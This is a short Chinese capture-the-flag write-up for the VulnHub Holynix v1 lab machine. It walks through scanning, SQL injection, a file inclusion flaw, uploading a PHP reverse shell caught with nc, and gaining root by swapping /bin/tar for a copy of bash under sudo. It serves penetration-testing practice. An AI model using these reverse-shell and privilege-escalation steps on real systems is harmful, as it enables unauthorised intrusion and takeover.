信息收集:
靶机地址:https://www.vulnhub.com/entry/holynix-v1,20/
(1)修改mac地址为00:0C:29:BC:05:DE 在进行扫描发现ip
![](https://img-blog.csdnimg.cn/img_convert/7f39441906447765ce7c77e2e19c513a.png)
(2)目录扫描
![](https://img-blog.csdnimg.cn/img_convert/8115db15c314ba16c9b1b1d068647683.png)
(3)端口扫描
![](https://img-blog.csdnimg.cn/img_convert/35230123969e50c568ba33b371ac7e97.png)
拿shell:
(1)登录界面发现sql注入
![](https://img-blog.csdnimg.cn/img_convert/dea53b3879e1ad793bdefe807b07f6b3.png)
(2)扫描到账号密码
![](https://img-blog.csdnimg.cn/img_convert/1ced337bcac5526be0d9f97eeec9c7a2.png)
(3)登录一个账号,在Security这发现文件包含漏洞
![](https://img-blog.csdnimg.cn/img_convert/f69d58c559aca2e901a6ad6f05005a80.png)
(4)在kali里面生成payload
locate php-reverse
cp的时候不要换名字
cp /usr/share/laudanum/php/php-reverse-shell.php .\
vim php-reverse-shell.php
tar cvf php-reverse-shell.php
![](https://img-blog.csdnimg.cn/img_convert/ffbd82dd601f57b5a7217b2151c99bd1.png)
![](https://img-blog.csdnimg.cn/img_convert/20c3bf0e5b04fd39ac47fc28a124aa1b.png)
(5)vim修改ip和端口
![](https://img-blog.csdnimg.cn/img_convert/162bc1f51d6c3dd75826f82c38df459d.png)
(6)文件上传
![](https://img-blog.csdnimg.cn/img_convert/b353a472c47bdcd37cce5e7b8cc32ae8.png)
(7)拼接访问
http://192.168.254.156/~etenenbaum/
![](https://img-blog.csdnimg.cn/img_convert/960eb454fc472bea621b19d352163dea.png)
(8)监听nc -lvnp端口 反弹成功
![](https://img-blog.csdnimg.cn/img_convert/afffc0913ce0d458b7979987531fab6d.png)
提权:
(1)sudo -l
![](https://img-blog.csdnimg.cn/img_convert/a648f5f90bcef7f4e264c3f6f3333f90.png)
(2)提权
cd /tmp/
cp /bin/bash .
sudo chown root:root /tmp/bash
sudo mv /bin/tar /bin/tar.bak
sudo mv /tmp/bash /bin/tar
sudo /bin/tar
id
提权成功
![](https://img-blog.csdnimg.cn/img_convert/894b679f4fdcffdd4d90e2309ae30c7c.png)